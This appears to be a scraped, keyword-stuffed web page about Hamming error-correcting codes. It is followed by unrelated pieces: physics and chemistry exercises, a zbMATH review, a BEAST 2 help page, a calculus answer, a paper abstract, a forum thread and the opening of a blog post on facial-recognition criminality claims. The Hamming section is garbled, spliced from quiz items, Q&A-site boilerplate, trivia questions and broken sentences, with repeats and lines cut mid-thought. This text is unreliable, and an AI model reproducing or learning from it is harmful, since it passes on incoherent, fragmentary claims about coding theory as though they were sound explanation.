Elementary/Intermedi ate - (( B&W VERSION INCLUDED )) Level: elementary Age: 6-17 Downloads: 2973. Have you got any cake, Fiddle? Congratulations! me that she never leaves her house now. 2 Extended Hamming Code: Encoding The extended Hamming code adds an additional parity-check bit to the regular Hamming code. b) a check bit appended to an array of binary digits to make the sum of all the binary digits. Exercise 2. The Minimum k-Cities Traveling Salesman Prob-lem(MIN k-TSP) and theMinimumDegree-Restricted Steiner Tree Problem (two problems mentioned in Arora’s paper [Aro96] on approximation schemes. He worked on the problem of the error-correction method and developed an increasingly powerful array of algorithms called Hamming code. pdf), Text File (. Hamming code is used in Digital systems to detect and correct a single bit error in a transmitted code. Related Questions on Networking Miscellaneous. Open X-TOY and experiment with some of the example programs (File -> Open Example Program). Thanks for contributing an answer to Arqade! Please be sure to answer the question. Other articles where Hamming code is discussed: telecommunication: The Hamming code: Another simple example of an FEC code is known as the Hamming code. If you use Logisim to generate the truth table for your solution, the input columns should be in the order D1-D4 and the output columns should be in the order P1-D4 as shown. We will restrict the discussion to Hamming codes, where 4 information bits are mapped into 7 coded bits. py and add more files to the training list to increase the word-frequency model precision. nesoacademy. Suppose we have a code matrix C; this matrix. From the hamming code we used, we used an even parity, where the parity bit and the data bits corresponding to it had to have an even number of 1’s. code is the [7,4,3] 2 Hamming code (so is the family of general Hamming codes that we will see in the next lecture). Hamming-Loss (Example based measure): In simplest of terms, Hamming-Loss is the fraction of Now we count the number of comments under each label. I couldn't care less (but one must keep up appearances, right?). Use MathJax to format equations. c) a code in which each expression conforms to specific rules of construction, so that if certain errors occur in an expression, the resulting expression will not conform to the rules of. Hamming code is a set of error-correction code s that can be used to detect and correct bit errors that can occur when computer data is moved or stored. The parity bit is added to every data unit (typically seven or eight bits) that are transmitted. You can consider the following two methods: If you have Matlab, you can use the following code: Volume Weighted Average Price from Intra-Daily Data This package allows you to [1] retrieve intra-daily stock price data from Google Finance, [2] calculate the VWAP at the end of each trading day and [3] transform intra-daily data to a daily format. Apart from cheese and tomato, what other two toppings are usually there on a Hawaiian Pizza? Answer: Pineapple and Ham. Answer to A) A (7,4) Hamming code has the following parity check matrix: 1 0 1 1 1 0 0 H = 1 1 0 1 0 1 0 1 1 1 0 0 0 1 Find the co. Search results. ) are filled up with data bits. Code Signing Certificate. Is Monsters University modeled after a specific university, and if so, what university?. We first answer the second question, and then go through these steps. Hamming code is a block code that is capable of detecting up to two simultaneous bit errors and correcting single-bit errors. Desired hamming code (n,k) 2. Problems based on Hamming Code. You declared variable parity as a global. which or what. Making statements based on opinion; back them up with references or personal experience. -----The codeword is NOT a legal codeword. They tell Dr. Simple python code to generate hamming code for the given binary data. Please be sure to answer the question. This particular talk, given by Dr. When the code needs to remain compatible with older versions of Python that don't support the feature recommended by the style guide. MathJax reference. Thanks for contributing an answer to Arqade! Please be sure to answer the question. I have a message that is 3249 bits long. Compute the (extended) Hamming code, Hamming's sphere-packing bound, and the Gilbert-Varshamov Bound, and construct a Hadamard matrix and its corresponding codes. Earn XP, unlock achievements and level up. If multiple classifiers in OneVsRest answer. here use n=N-1/2 and N=250. The most common hamming codes are a generalized version of? a) Hamming(7, 4) code b) Hamming(8, 4) code c) Hamming(6, 3) code d) Hamming(5, 7) code View Answer. Hamming Code- Error Detection part: vnclip. Which email uses full forms of verbs (I am, I would) instead of contractions (I'm and I'd)? 6A Look at the words in the list and answer the questions. Access free GPUs and a huge repository of community published data & code. Every Friday Hamming set the calculating machines to perform a series of calculation, and. From the hamming code we used, we used an even parity, where the parity bit and the data bits corresponding to it had to have an even number of 1’s. Open X-TOY and experiment with some of the example programs (File -> Open Example Program). 3 Finding and Correcting an Error in a Hamming This sounds obscure but isn't. Definition of Perfect Code (and example of Hamming Code) Hot Network Questions Parallelizing large sum to use all cpu cores. Peter Norvig wrote an amazing article titled How to Write a Spelling Corrector detailing a basic approach to this deceivingly simple problem. will have to 9. True or False. I haven't tested it with any raspberry pi's but that sounds like a cool project idea, just make sure the laser slew rate can handle the higher bit-rate of transfer as that will affect the. Which bit is in error? What is the correct code?. Answer to A) A (7,4) Hamming code has the following parity check matrix: 1 0 1 1 1 0 0 H = 1 1 0 1 0 1 0 1 1 1 0 0 0 1 Find the co. Compute the generator matrix and parity-check matrix (in systematic form) of a linear code and the minimum distance of a linear code. Other articles where Hamming code is discussed: telecommunication: The Hamming code: Another simple example of an FEC code is known as the Hamming code. Earn XP, unlock achievements and level up. In telecommunication, Hamming codes are a family of linear error-correcting codes. h” //this file is added to initialize the DSK6713. This is the simplest way to encourage me to. Every Hamming code over GF ( q ) can be used to build a single-error-correcting convolutional code over GF ( q ). Email us @ [email protected] We love to get feedback and we will do our best to make you happy. This is the problem I have: Compute the Hamming code with odd parity for the memory word 1101 1001 0001 1011 (2 pts. team-mates. The exhibit shows a fog covering trees on the side of a mountain. See full list on tutorialspoint. What are the five components that make up an information system? a. Book a test if you have a verification code. More for you: Advanced English Grammar and Vocabulary Test Copy and paste this code into your site to embed. Hamming code is a block code that is capable of detecting up to two simultaneous bit errors and correcting single-bit errors. -----The codeword is NOT a legal codeword. Answer to A 7-bit Hamming code consists of 3 parity bits and 4 data bits. Here is a sample. MathJax reference. uk gives you 100 general knowledge questions with answers for your virtual home pub. The r parity check bits are selected so that a single error in How does a Hamming code perform this apparent magic trick? The answer can be found in the equations for the parity check bits. Making statements based on opinion; back them up with references or personal experience. 1 define value of minimum distance by a generator matrix of code from the Task 7. • Codes used in prac=ce are much more involved than Hamming. The following questions is about chapter 4 "Cache Memory": 1. Please be sure to answer the question. Hamming f. The first non-zero Hammingweightdeterminesacode’sHammingDistance. Why offer Q&A on my site?. In which year did Arsenal move to The Emirates Stadium from Highbury?. The Minimum k-Cities Traveling Salesman Prob-lem(MIN k-TSP) and theMinimumDegree-Restricted Steiner Tree Problem (two problems mentioned in Arora’s paper [Aro96] on approximation schemes. Hamming distance between two binary matrices. Ø Block length n = 2q – 1. It has an interesting property: if you enemy changes secretely any of the seven integers, you can determine uniquely which integer. The 3 parity bits are used to correct single bit error,. inventor, Richard Hamming. Making statements based on opinion; back them up with references or personal experience. Regarding logarithmic chirp signal. By using the script, answer the following questions in README. Hamming(7, 4) code. Select one or more of the following: 1. Login to Answer Sort By: Oldest. To learn more, see our tips on writing great answers. Self-isolating: stay at home if you think you have coronavirus. The idea is to encode each block of 4 digits into a block of 7 digits in the following way: a 1 a 2 a 3 a 4 �→a 1 a 2 a 3 a 4 a 5 a 6 a 7, where a 5 = a 1 +a 2 +a 3 mod 2,a 6 = a 1 +a 3 +a 4 mod 2,a 7 = a 2 +a 3 +a 4 mod 2. Richard W Hamming in 1986, was focused on answering one question: “Why do so few scientists make significant contributions and so many are forgotten in the long run?” 1. Predictive interview success scores. These Python questions are prepared by the expert Python developers. File Exchange. AND PROBLEMS 235 4000 km Figure 8. Problem: ● may ham fish and birds, e. Use MathJax to format equations. Peter Norvig wrote an amazing article titled How to Write a Spelling Corrector detailing a basic approach to this deceivingly simple problem. Hamming code is used to deal with transmission errors. Since Hamming (7,4) codes decode to 4 bit code words, you can save some data space and pack two data values into a single byte. How hamming codes works? We need you to answer this question! Hamming code is a linear error-correcting code named after its inventor, Richard Hamming. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers. 1 word related to hammertoe: toe. 0 (ENSA) 2020 2021 100% scored passed. description of the Hamming (7,4) encoding scheme described in class. The last sentence is controversial, can be interpreted as discrimination, and is self-defeating if the applicant is a white male. I have found answer to my question The correction of errors upto 5 errors in all cases, the minimum Hamming distance in a block code must be i) 7 ii)6 iii)10 iv) 11. (For the record, Hamming code number 4. CodinGame is a challenge-based training platform for programmers where you can improve your coding skills with fun exercises (25+ languages supported). 1 0 0 P4 1 P2 P1 Which is correct?. Notice that the Hamming code for 15 is the XOR of the Hamming codes for 1, 2, 4, 8, and that 1+2+4+8=15. Makes maxing out your knowledge and getting perfect exam scores easy!. Generation of Hamming Codes problem. Here is a sample. Q: The word "wack" was also used in a coded language form history. Hamming Code-Error Correction part: vnclip. Through being introduced to coding early on, students can better prepare for the challenges of the 21st century. Ask and answer questions about your jobs, companies and nationalities. Except for RAID-1, if the valueis one, then it is a parity drive; if it is greater than one, then they are Hamming Code drives. Look at my code: plt. These are already allowable and not • Hamming was interested in two problems at once: - increasing the distance as much as possible - at the same time increasing the code rate as much. Practice Exam Test Questions. Definitions: Cite Bayes’ Theorem. h” //this file is added to initialize the DSK6713. Hamming code is a type of error correcting code. To learn more, see our tips on writing great. codes (namely, Hadamard codes) to map cities into an O (n)-dimensional Hamming space, and thenran-dom sampling to reduce the number of dimensions to O (log n). Making statements based on opinion; back them up with references or personal experience. Interview Questions on Logistic Regression and Linear Regression 11. This scheme is called a Hamming code. I've been reading about how hamming codes are used to 'solve' the Hat Problem, and I understand how it 'assigns' one person to be the speaker, and how that speaker knows the answer. Internetwork processor. The bits that are powers of 2 (1, 2, 4, 8, 16, etc. This change is of no consequence to the correctness of the Hamming code; it merely implies that the answer in this form is different from the one shown above. the theatre four times this morning, but there was no answer. Hamming of Bell Labs. Communication in war is always a headache. ISM Questions and answers. However, while zero-one loss penalizes prediction sets that do not strictly match true sets, the Hamming loss penalizes individual labels. Thanks for contributing an answer to Server Fault! Please be sure to answer the question. Hamming Code Multiple choice Questions and Answers (MCQs) Click on any option to know the CORRECT ANSWERS For a hamming code of parity bit 8, total bits = 255 and data bits = 247. In our example, if the channel flips two bits and the receiver gets 001, the system will detect the error, but conclude that the original bit is 0, which is incorrect. By contrast, the simple parity code. Who managed West Ham United between 2008 and 2010? 95. Making statements based on opinion; back them up with references or personal experience. calling Hamming code. First I Hamming code and distance. * Description :This Program tells about the Hamming-code generation & parity bits are appended at the end of the code. My mum, our dog Rex and I will play hide-and-seek. MathJax reference. Improve your skills. Building on what you have learnt about parity bits we are now going to see a system that not only allows you to detect if the data you have been sent is incorrect, but it will allow you to correct the error. org/donate Website ►. Makes maxing out your knowledge and getting perfect exam scores easy!. Click on the HTML link code below. Therefore, the code for even parity is calculated as below: Therefore the even parity hamming code is: 1011010. All questions and answers are for technical interviews. Use MathJax to format equations. In a DDR system with ECC feature, every data byte will generate an additional ECC bit which makes a byte data 9 bits long. 010101100011 111110001100 000010001010. Notice that the Hamming code for 15 is the XOR of the Hamming codes for 1, 2, 4, 8, and that 1+2+4+8=15. Puzzle Kids is completely free from third party ads and. What is the parity code?. ( whatever name given by you for choice 1). The warmup questions provided will help students practice concepts introduced in lectures. Moser, National Chiao Tung University, Taiwan, Po-Ning Chen, National Chiao Tung University, Taiwan. For example, the Hamming distance between 1101 and 1000 is 1, since they differ in. The LibreTexts libraries are Powered by MindTouch ® and are supported by the Department of Education Open Textbook Pilot Project, the UC Davis Office of the Provost, the UC Davis Library, the California State University Affordable Learning Solutions Program, and Merlot. Now, we have GK questions and answers for teens and older kids. See full list on tutorialspoint. It includes the type of cables and protocols used in order for one device to be able to communicate with the other. org/donate Website ►. uk gives you 100 general knowledge questions with answers for your virtual home pub. There is a different Hamming code for each positive integer r The first useful Hamming code is number 3, which has 16 codewords of length 7. Evil up to 15 questions. What are synonyms for hammertoe?. Related Questions & Answers; Hamming code is a block code that is capable of detecting up to two simultaneous bit errors and correcting single-bit errors. com documents and in the TI Wiki Pages (for processor issues). How many errors in a single code pattern could be corrected when using an error-correcting code in which each code pattern is a Hamming distance of at least seven from any other code pattern? _____ ANSWER: 3 21. Suppose there are 7 bits ASCII codes which requires 4 redundancy bits that can be added to the end of the data unit or interspersed with the original data bits. Top 135 Networking Interview Questions & Answers. Interview Questions on Logistic Regression and Linear Regression 11. Exercism is a coding challenge website that offers 3100+ challenges spanning 52 different programming languages. Take heart. I am currently struggling to learn hamming codes for my next semester of study and need help with a few questions. Answers to Study Questions. zip into your assignment 4 folder. Questions with who and what - Subject - Object. I have a message that is 3249 bits long. 00 Question Explanation Hamming Code works as follows: Check bits are at positions 1, 2, 4. Answer: An Abelian grape. Are you sure you have something valuable to add that has not already been mentioned?. Thanks for contributing an answer to Arqade! Please be sure to answer the question. Double-bit errors are detected only if no correction was attempted. understand and use basic phrases and expressions. zip into your assignment 4 folder. * My efforts to answer this problem are kind of hard to explain, but I'll try. Hamming code is a linear error-detecting and correcting code invented by R. Hamming codes can detect and correct single-bit errors, and can detect (but not correct) double-bit errors. py and add more files to the training list to increase the word-frequency model precision. The community is enriched by commenting, voting, notifications, points and rankings. It is executed by encoding the original message with a series of redundant bits in positions of the. Don't tell someone to read the manual. BEST: English Quiz Questions and Answers. MathJax reference. Fault diagnosis: questions and answers Fault diagnosis questions Possible solutions. For $\ell=4$, the usual Hamming code of length 15 is defined by the following table from wikipedia. Diverge upward when a bit is 0. Hamming Code in Java. Consider an example: 11 0 1 11 1 1 Hamming Weight:. Hamming Code. Cracking the Coding Interview, Fourth Edition: 150 Programming Interview Questions and Solutions. By using the script, answer the following questions in README. In a DDR system with ECC feature, every data byte will generate an additional ECC bit which makes a byte data 9 bits long. Note: 0 ≤ x, y < 2 31. hamming code direction of parity bits From left or right? Given a binary string , in which direction should we place the parity bits , starting from left to right or right to left? Does both give same result Ex : Data is 1001 1. The below piechart represents the student mark grades in math test. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers. Hamming code is a set of error-correction codes that can be used to detect and correct the errors that can occur when the data is moved or stored from the sender to the receiver. Arrange in matrix (as in diagram), each row is a codeword. Please be sure to answer the question. -----The codeword is NOT a legal codeword. Answer to Explain Hamming Code, and calculate the 4-bit Hamming Code for the 8-bit word: 00111001. (Talking to Swan during the first quiz). Question Description. I couldn't care less (but one must keep up appearances, right?). Here is a table showing the parity bits for the given word, using Hamming (12,8) code. (c) Conclude that the Hamming codes of Part (a) achieve the highest possible rate for their distance. To practice all areas of Data Structures & Algorithms, here is complete set of 1000+ Multiple Choice Questions and Answers. In this guide you will find answers to the questions of Salon of Wisdom and The Brain in the game Dragon Raja. Baud means? [A] The number of bits transmitted per unit time [B] The number of byted transmitted per unit time [C] The rate at which the signal changes. Greetings! We have recently published 100+ articles on android tutorials with kotlin and java. Read Jill's letter and answer the question: "Does Jill like winter?" My dad and my brother Jim will fly a kite. If you use Logisim to generate the truth table for your solution, the input columns should be in the order D1-D4 and the output columns should be in the order P1-D4 as shown. Exercism is a coding challenge website that offers 3100+ challenges spanning 52 different programming languages. code is the [7,4,3] 2 Hamming code (so is the family of general Hamming codes that we will see in the next lecture). 6:36 # 1 MS Project 2019 Basics in 20 Minutes Easy - Duration: 29:37. Hamming code is a linear error-detecting and correcting code invented by R. General awareness always plays a major role for a growing kid. List the properties of generator polynomial of cyclic codes. Ответы на тесты SeaGull CBT's / Answers to Seagull Tests [DOC, PDF, JPG]. Hamming Code adds three additional check bits to every four data bits of the message. By contrast, the simple parity code. , hamming code). The Hamming distance between two binary numbers of the same length is the number of positions in the numbers that have different values. Who managed West Ham United between 2008 and 2010? 95. If one is incorrect, indicate what the correct code word should have been. ISPS code may not have been able to put an end to the security incidents around the world. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers. Desired hamming code (n,k) 2. Compute the generator matrix and parity-check matrix (in systematic form) of a linear code and the minimum distance of a linear code. The Hamming code constructs sets of values with minimum Hamming distance d=3. Start date Sep 30, 2009. • Codes used in prac=ce are much more involved than Hamming. Concept questions Concept questions themselves are often difficult to construct since they involve clarifying function and meaning using simple language Remember that the answers 'sometimes', 'it depends' and 'I don't know' can tell you as much as 'yes' or 'no'. QUESTIONS: How to put entry in ORB? What is action in case of wrong entry? How many people fill up and sign it? Source: MEPC1/circ. H = 2i × 3j × 5k. The questions are randomly selected from the five questions you entered when you first registered to our systems. Synonyms for hammertoe in Free Thesaurus. MathJax reference. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers. Exercise: Decode in the binary Hamming code using this algorithm. Read 3 answers by scientists with 5 recommendations from their colleagues to the question asked by Sourav Dev on Jun 11, 2018. Use MathJax to format equations. ” Choose a generator matrix G for a Hamming code Hamr (q ) of length n over F. The value of hammingPackedDecodeValues. To learn more, see our tips on writing great. Expert news, reviews and videos of the latest digital cameras, lenses, accessories, and phones. The way hamming code does this is to use multiple check digits in the same piece of sent data. True or False. Maritime blog. Deployed in Telecommunication endpoints to detect and correct any errors encountered during packet delivery. Provide an answer or move on to the next question. Is Monsters University modeled after a specific university, and if so, what university?. Hamming Code Multiple choice Questions and Answers (MCQs) Click on any option to know the CORRECT ANSWERS Question 1. One of the more popular ones among these are the quizzes that are held every year. Hamming Code in Computer Network Last Updated: 04-05-2020 Hamming code is a set of error-correction codes that can be used to detect and correct the errors that can occur when the data is moved or stored from the sender to the receiver. Suppose there are 7 bits ASCII codes which requires 4 redundancy bits that can be added to the end of the data unit or interspersed with the original data bits. Let us consider four disks intersecting as in the figure. nesoacademy. The parity bit for each unit is set so that all bytes have either an odd number or an even number of set bits. To go back and change any of your answers, use the progress bar above or jump back to the previous question. Game Shows and Computer Codes. algorithm questions t Ten mistakes candidates Cracking the Coding Interview - 150 Programming. This method corrects the error by finding the state at which the error Generating parity information. So you can compute the FFT of your Hamming window and then calculate the convolution of your function in the frequency domain with the frequency domain of your Hamming window. From Wikimedia Commons, the free media repository. This note presents seven question cards and one base card allowing you to do this feat. BEST: English Quiz Questions and Answers. txt) or view presentation slides online. Please be sure to answer the question. Single-error correction and double-error detection (SECDED) Hamming code [13] is an extremely popular ECC mechanism. Codons which are further away from each other will have a smaller chance to turn into one another due to mutation, and scattering the encoding across the whole table means a large Hamming distance from one codon to another. Making statements based on opinion; back them up with references or personal experience. Need help? Post your question and get tips & solutions from a community of 461,688 IT Pros & Developers. It is represented as a 57x57 matrix in MATLAB. To guarantee correction of up to 5 errors in all cases, the minimum Hamming distance in a block code must be _. Be part of the world's largest community of book lovers on Goodreads. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers. Time limit: 1. To learn more, see our tips on writing great. Answer to A) A (7,4) Hamming code has the following parity check matrix: 1 0 1 1 1 0 0 H = 1 1 0 1 0 1 0 1 1 1 0 0 0 1 Find the co. * Description :This Program tells about the Hamming-code generation & parity bits are appended at the end of the code. Thanks for contributing an answer to Server Fault! Please be sure to answer the question. org/donate Website ►. Richard Hamming, a theorist with Bell Telephone Laboratories in the 1940s. CDMA stands for "Code Division Multiple Access", so what we're trying to do is to allow multiple independent streams of digital data to exist in a given piece of bandwidth ("spectrum", in the case of wireless) simultaneously. Minimum hamming distance between two code words is equal to weight Explanation: No explanation is available for this question! 3) For decoding in convolution coding, in a code tree, a. - eanswers. What is ISM Code? A. Compute the (extended) Hamming code, Hamming's sphere-packing bound, and the Gilbert-Varshamov Bound, and construct a Hadamard matrix and its corresponding codes. In total 14 questions, 5 questions are YES-NO-NOT GIVEN form, 4 questions are Sentence Completion form, 5 questions are Summary, form Answer: YES Locate. To learn more, see our tips on writing great. Best answer 0: Non-redundant 1: Mirrored; every disk has a mirror disk containing the same data. Create a generator matrix, [G], by arranging the column vectors from the previous steps into a 4×7 matrix such that the columns are ordered to match their corresponding bits in a code word. To learn more, see our tips on writing great. Therefore, 4 bits are needed to identify the set. There are 15 questions to complete. If we truncate the last 4 columns, we will get the truncated Hamming code of length 11, which should be, presumably, the Hamming code used in OP's question. Learn how to answer the why should we hire you job interview question. Making statements based on opinion; back them up with references or personal experience. Please be sure to answer the question. It has an interesting property: if you enemy changes secretely any of the seven integers, you can determine uniquely which integer. algorithm questions t Ten mistakes candidates Cracking the Coding Interview - 150 Programming. For example, the Hamming distance between 1101 and 1000 is 1, since they differ in. Read the passage below and answer questions 1-15. Making statements based on opinion; back them up with references or personal experience. Email us @ [email protected] We love to get feedback and we will do our best to make you happy. To learn more, see our tips on writing great. In which year did Arsenal move to The Emirates Stadium from Highbury?. Error Detection & Correction. By contrast, the simple parity Hamming codes are perfect codes, that is, they achieve the highest possible rate for codes with their block length and minimum distance of three. Peter Norvig wrote an amazing article titled How to Write a Spelling Corrector detailing a basic approach to this deceivingly simple problem. So you can compute the FFT of your Hamming window and then calculate the convolution of your function in the frequency domain with the frequency domain of your Hamming window. Because the code in question predates the introduction of the guideline and there is no other reason to be modifying that code. Find and read more books you'll love, and keep track of the books you want to read. Hamming Code The ECC functions described in this application note are made possible by Hamming code, a relatively simple yet powerful ECC code. Read 9 answers by scientists to the question asked by Mouadh Recioui on Jan 22, 2018. Join our social networks below and stay updated with latest contests, videos, internships and jobs!. What is ISM Code? A. The r parity check bits are selected so that a single error in How does a Hamming code perform this apparent magic trick? The answer can be found in the equations for the parity check bits. ) Check out our guide to the new teacher questions and exams in Persona 5 Royal. File Exchange. *Devise a code for the digits 0 to 9 whose Hamming distance is 2. Ask and answer questions about your jobs, companies and nationalities. Provide details and share your research! But avoid … Asking for help, clarification, or responding to other answers.
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# Velocity ratio
Determine the ratio at which the fluid velocity in different parts of the pipeline (one part has a diameter of 5 cm and the other has a diameter of 3 cm), when you know that at every point of the liquid is the product of the area of tube [S] and the fluid velocity [v] the same.
Result
v1:v2 = 0.36
#### Solution:
$v_1:v_2=(3 \cdot \ 3)/(5 \cdot \ 5) = \dfrac{ 9 }{ 25 } = 0.36$
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# Classify each of the following as being either a p-type or a n-type semiconductor: (i)Ge doped with In
1.20 Classify each of the following as being either a p-type or a n-type semiconductor:
(i) $Ge$ doped with $In$.
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## Approximate inertial manifolds for reaction-diffusion equations in high space dimension.(English)Zbl 0702.35127
This paper deals with a reaction-diffusion equation $(*)\quad u_ t- d\Delta u+g(u)=0\text{ on } \Omega \times {\mathbb{R}}_+$ (d$$>0$$, $$g\in C^ 1({\mathbb{R}})$$ satisfying a polynomial growth condition, $$\Omega \subset {\mathbb{R}}^ n$$ a bounded domain) subject to either a homogeneous Dirichlet or Neumann boundary condition or a periodic one in case that $$\Omega =(0,L)^ n$$, $$L>0$$. The author establishes the existence of an approximate inertial manifold in the sense of C. Foias, O. Manley, and R. Temam [C. R. Acad. Sci., Paris, Ser. I 305, 497-500 (1987; Zbl 0624.76072)]. Very roughly, this is a smooth, finite- dimensional manifold, which forms the “zero-section” of a “tubular neighborhood” that absorbs each orbit of (*).
The “thickness” of the neighborhood depends on the dimension m of the manifold, and it is shown for the general construction that this quantity converges to 0 at an order $$(\mu_ 1/\mu_ m)^ 2$$ as $$m\to \infty$$, whereas for $$n\leq 12$$ a manifold can be found with a convergence order $$(\mu_ 1/\mu_ m)^ 3$$. $$\mu_ j$$ denotes the j-th eigenvalue of $$- d\Delta w+w=\mu w$$ subject to the same boundary condition as given for (*).
Reviewer: G.Hetzer
### MSC:
35K57 Reaction-diffusion equations 35B40 Asymptotic behavior of solutions to PDEs 35P10 Completeness of eigenfunctions and eigenfunction expansions in context of PDEs
Zbl 0624.76072
Full Text:
### References:
[1] Babin, A. V., and Vishik, M. I. (1983). Attractors of partial differential equations and estimates of their dimension.Russ. Math. Surv. 38:4, 151-213. · Zbl 0541.35038 [2] Foias, C., Sell, G. R., and Temam, R. (1985). Variétés inertielles des équations différentielles dissipatives.C. R. Acad. Sci. Ser. I 301, 139-141; and Inertial manifolds for nonlinear evolutionary equations.J. Diff. Eg. 73, 309-353 (1988). [3] Foias, C., Manley, O., and Temam, R. (1987). Sur l’interaction des petits et grands tourbillons dans des écoulements turbulents.C. R. Acad. Sci. Ser. I 305, 497-500. · Zbl 0624.76072 [4] Mallet-Paret, J., and Sell, G. R. (1989). Inertial manifolds for reaction-diffusion equations in higher space dimension.J. Amer. Math. Soc. 1, 805-866. · Zbl 0674.35049 [5] Mallet-Paret, J., and Sell, G. R. (1989). (In preparation.) [6] Marion, M. (1987). Attractors for reaction-diffusion equations: existence and estimate of their dimension.Appl. Anal. 25, 101-147. · Zbl 0609.35009 [7] Marion, M. (1989). Inertial manifolds associated to partly dissipative reaction-diffusion systems.J. Math. Anal. Appl. (In press). · Zbl 0689.58039 [8] Mora, X. (1983). Finite dimensional attracting manifolds in reaction-diffusion equations.Contemp. Math. 17, 353-360. · Zbl 0525.35046 [9] Rothe, F. (1984).Global Solutions of Reaction-Diffusion Systems, Springer-Verlag, Berlin. · Zbl 0546.35003 [10] Temam, R. (1988).Infinite Dimensional Dynamical Systems in Mechanics and Physics, Springer-Verlag, Berlin. · Zbl 0662.35001
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching.
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## Chemistry: The Molecular Science (5th Edition)
$NaF(s)$
Both are ionic solids having similar formulas. The larger standard molar entropy is for $NaF(s)$ as the attraction of ions is weaker in $NaF(s)$ than $MgO(s)$.
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BEAST 2 Help Me Choose
BEAST 2 Help Me Choose Site Model proportion invariable
Site Model proportion invariable
The proportion invariable represents the proportion of sites that is invariant, and is a value between 0 (default) and 1 (Waddell, 1996). When a significant number of sites in the alignment are constant sites (e.g. all A for all taxa for a larger number of sites), adding a proportion invariable sites can significantly improve the model fit. Using a proportion invariable sites as implemented in BEAST 2 adds negligible computational cost, unlike adding gamma site rate categories.
Though it has been argued that mixing the invariable site model with the gamma site heterogeneity model leads to unidentifiability, this has been proven to be incorrect if care is taken in choosing the priors (Bouckaert 2020).
value
When no proportion invariable sites is desired, set it to 0. Set to a value larger than 0 but less than 1 if a proportion invariable sites is required.
estimate
Though the proportion invariable sites can be determined from the alignment by calculating the number of sites that have the same character by maximum likelihood, it is preferable not mix maximum likelihood and Bayesian paradigms. So, when a proportion invariable site model is desirable, the proportion is usually estimated.
lower and upper
Since these are bounds on a proportion, the lower bound should be at least 0 and the upper at most 1.
References
Bouckaert RR. OBAMA: OBAMA for Bayesian amino-acid model averaging. PeerJ. 2020 Aug 4;8:e9460. doi:10.7717/peerj.9460.
Waddell P. Evolutionary trees of apes and humans from DNA sequences. Handbook of human symbolic evolution. 1996:53-73.
Bayesian evolutionary analysis by sampling trees
Disclaimer: The above is the opinion of the author RB. If you do not agree, or spot a mistake, contact the author, or discuss this in the issues area or raise a new issue. A link will be added from this page to make sure others can find it.
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# Find the equation of the tangent line to the function at a given point f(x)=e^-3x+1 ; (0,e)?
Jan 21, 2018
$y - e = - 3 e \left(x - 0\right)$.
#### Explanation:
From the given point I'm assuming the function is $f \left(x\right) = {e}^{- 3 x + 1}$ which contains the point $\left(0 , e\right)$.
Using the Chain Rule on $f \left(x\right)$ we have:
$f ' \left(x\right) = {e}^{- 3 x + 1} \cdot \left(- 3\right)$
So $f ' \left(0\right) = - 3 e$.
The equation of the line can be written in point-slope form:
$y - e = - 3 e \left(x - 0\right)$.
This can be rewritten as $y = - 3 e \cdot x + e$
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# Sequential Design for Ranking Response Surfaces
Authors
Publication Date
Jan 01, 2017
Source
eScholarship - University of California
Keywords
We propose and analyze sequential design methods for the problem of ranking several response surfaces. Namely, given $L \ge 2$ response surfaces over a continuous input space $\cal X$, the aim is to efficiently find the index of the minimal response across the entire $\cal X$. The response surfaces are not known and have to be noisily sampled one-at-a-time. This setting is motivated by stochastic control applications and requires joint experimental design both in space and response-index dimensions. To generate sequential design heuristics we investigate stepwise uncertainty reduction approaches, as well as sampling based on posterior classification complexity. We also make connections between our continuous-input formulation and the discrete framework of pure regret in multi-armed bandits. To model the response surfaces we utilize kriging surrogates. Several numerical examples using both synthetic data and an epidemics control problem are provided to illustrate our approach and the efficacy of respective adaptive designs.
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# Very quick question
1. Jan 3, 2008
### thomas49th
When you say f(x) = x² + 4 (the function of f is defined at x² + 4)
is that the same as saying y = x² + 4???
2. Jan 3, 2008
### slider142
Only if you set y=f(x). f(x) is a function assigning the value f(x) to each input x. y = f(x) is just an equation, which can be graphed on a Cartesian plane; it is a method of visualizing the properties of the function.
3. Jan 4, 2008
### HallsofIvy
Staff Emeritus
Did you mean "defined as $x^2+ 4$.
No, that is NOT the same as saying "y= $x^2+ 4$" unless, as slider142 said, you define y= f(x). If you are graphing such a function on an standard "xy coordinates sytem" then the first thing you should say is "let y= f(x)". That is so standard that it is not always said.
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I'm Ethan Weinberger. After a brief stint in the hedge fund world I'm now a Ph.D student in machine learning at the University of Washington.
The world of AI has had some real breakthroughs mixed with massive amounts of cash and wildly speculative claims - a perfect recipe for BS. Kernels of Truth takes a deep dive into recent work in the field to determine whether reality matches up with the hype.
twitter: @efweinberger, email: ethan [at] honestyisbest [dot] com.
## RoboCop and You: Why Facial Recognition Discriminates
Machine learning research moves fast - fast enough that we’re still very far from having any kind of strict code of ethics or set of regulations as in medicine. As a result, pseudoscience-esque research has a tendency to crop up every now and then, as it did two weeks ago when Harrisburg University issued a now-deleted press release praising one of its research groups for developing an algorithm to predict a person’s “criminality” (i.e., likelihood of committing a crime in the future) using only a single picture of their face. Supposedly this study had even made it through peer review and was scheduled to be published by Springer Nature as part of an upcoming book series. However, since the intial press release the work has been near universally condemned by the academic world, with an open letter calling on Springer to rescind publication of the study receiving 1700+ signatures. Springer responded quickly to clear their name, as fortunately it turns out the study was in fact rejected during peer review and was never scheduled to be published.
This wasn’t the first time such a study has cropped up and caused controversy in the AI community; a similar 2016 work from Shanghai Jiaotong University also attempted to predict criminality from facial features and was similarly denounced by the wider community for its potential to be misused. It’s easy to understand why such work continues to surface. Law enforcement agencies are very interested in AI systems that could make their jobs easier, like so-called predictive policing technologies that flag potential criminals, as well as tools to track down suspects after a crime has been committed. While the academic community has been consistent about reminding the world that phrenology with robots is still phrenology, the large profits to be made in this space have led some tech companies to be more flexible with regards to potential ethical concerns than others.
